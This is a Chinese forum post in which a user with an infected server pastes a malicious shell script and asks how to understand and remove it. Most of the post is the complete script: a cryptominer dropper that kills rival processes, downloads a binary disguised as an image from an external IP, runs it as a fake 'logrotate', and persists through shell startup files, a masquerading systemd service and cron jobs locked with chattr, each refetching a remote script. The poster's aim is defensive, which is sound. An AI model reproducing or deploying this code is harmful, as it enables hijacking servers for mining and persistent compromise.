服务器中病毒了，哪位安全方面的大神来给看看，急！急！急！

这是一段病毒脚本，哪位大神给解读下，要怎么清理掉它呢？

现在是文件删不掉，进程杀不掉

#!/bin/sh
{ pkill -f xmrig || kill -9 $(pgrep -f 'xmrig'); } >/dev/null 2>&1
ps -eo pid,%cpu,comm --sort=-%cpu | awk 'NR>1 && !/awk|ps/ && !($3 ~ /^(logrotate|sshd|java)$/) && int($2) > 60 { system("kill -9 " $1) }'
EXEC="source <(wget -q -O - http://185.196.8.123/logservice.sh || curl -sL http://185.196.8.123/logservice.sh)"
trap 'rm -- "$0"' EXIT
if [ -z "${HOME+x}" ]; then
   export HOME=/tmp
fi
mkdir -p "$HOME/.config" >/dev/null 2>&1
[ ! -f "$HOME/.config/logrotate" ] && { 
   ARCH=$(uname -m)
   URL=""
   [ "$ARCH" = "x86_64" ] && URL="http://185.196.8.123/silicon64blueprints.png"
   [ "$ARCH" = "aarch64" ] && URL="http://185.196.8.123/siliconarmblueprints.png"
   [ -z "$URL" ] && URL="http://185.196.8.123/silicon64blueprints.png"
   { wget -q -O "$HOME/.config/logrotate" "$URL" || curl -sL -o "$HOME/.config/logrotate" "$URL"; } >/dev/null 2>&1
   chmod +x "$HOME/.config/logrotate" >/dev/null 2>&1
}
pgrep -f "config/logrotate" >/dev/null 2>&1 || "$HOME/.config/logrotate"
add_to_startup() {
   if [ -r "$1" ]; then
       if ! grep -Fxq "$EXEC >/dev/null 2>&1" "$1"; then
           echo "$EXEC >/dev/null 2>&1" >> "$1"
       fi
   fi
}
case "$(ps -p $$ -o comm=)" in
   bash) add_to_startup "$HOME/.bashrc"
         add_to_startup "$HOME/.bash_logout" ;;
   zsh) add_to_startup "$HOME/.zshrc" ;;
esac
[ "$(id -u)" -eq 0 ] && {
   RCLOCAL=''
   [ -e /etc/debian_version ] && RCLOCAL='/etc/rc.local'
   [ -e /etc/centos-release -o -e /etc/redhat-release ] && RCLOCAL='/etc/rc.d/rc.local'
   [ -n "$RCLOCAL" ] && add_to_startup "$RCLOCAL"
   cat >/etc/systemd/system/logrotate.service <<EOL
[Unit]
Description=The logrotate utility is designed to simplify the administration of log files on a system which generates a lot of log files
[Service]
ExecStart=$HOME/.config/logrotate
Restart=always
Nice=-20
StandardOutput=null
[Install]
WantedBy=multi-user.target
EOL
   sudo systemctl daemon-reload 2>/dev/null
   sudo systemctl enable logrotate.service 2>/dev/null
   [ -d /var/spool/cron ] && [ -f /var/spool/cron/root ] && echo "@daily $EXEC" >> /var/spool/cron/root 2>/dev/null
   [ -d /var/spool/cron/crontabs ] && [ -f /var/spool/cron/crontabs/root ] && echo "@daily $EXEC" >> /var/spool/cron/crontabs/root 2>/dev/null
   [ -f /etc/crontab ] && echo "@daily $EXEC" >> /etc/crontab 2>/dev/null && sudo chattr +i /etc/crontab 2>/dev/null
   [ -d /etc/cron.hourly ] && echo "$EXEC" >> /etc/cron.hourly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.hourly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.hourly/logrotate 2>/dev/null
   [ -d /etc/cron.daily ] && echo "$EXEC" >> /etc/cron.daily/logrotate 2>/dev/null && sudo chmod +x /etc/cron.daily/logrotate 2>/dev/null && sudo chattr +i /etc/cron.daily/logrotate 2>/dev/null
   [ -d /etc/cron.weekly ] && echo "$EXEC" >> /etc/cron.weekly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.weekly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.weekly/logrotate 2>/dev/null
   [ -d /etc/cron.monthly ] && echo "$EXEC" >> /etc/cron.monthly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.monthly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.monthly/logrotate 2>/dev/null
   [ -d /etc/cron.yearly ] && echo "$EXEC" >> /etc/cron.yearly/logrotate 2>/dev/null && sudo chmod +x /etc/cron.yearly/logrotate 2>/dev/null && sudo chattr +i /etc/cron.yearly/logrotate 2>/dev/null
}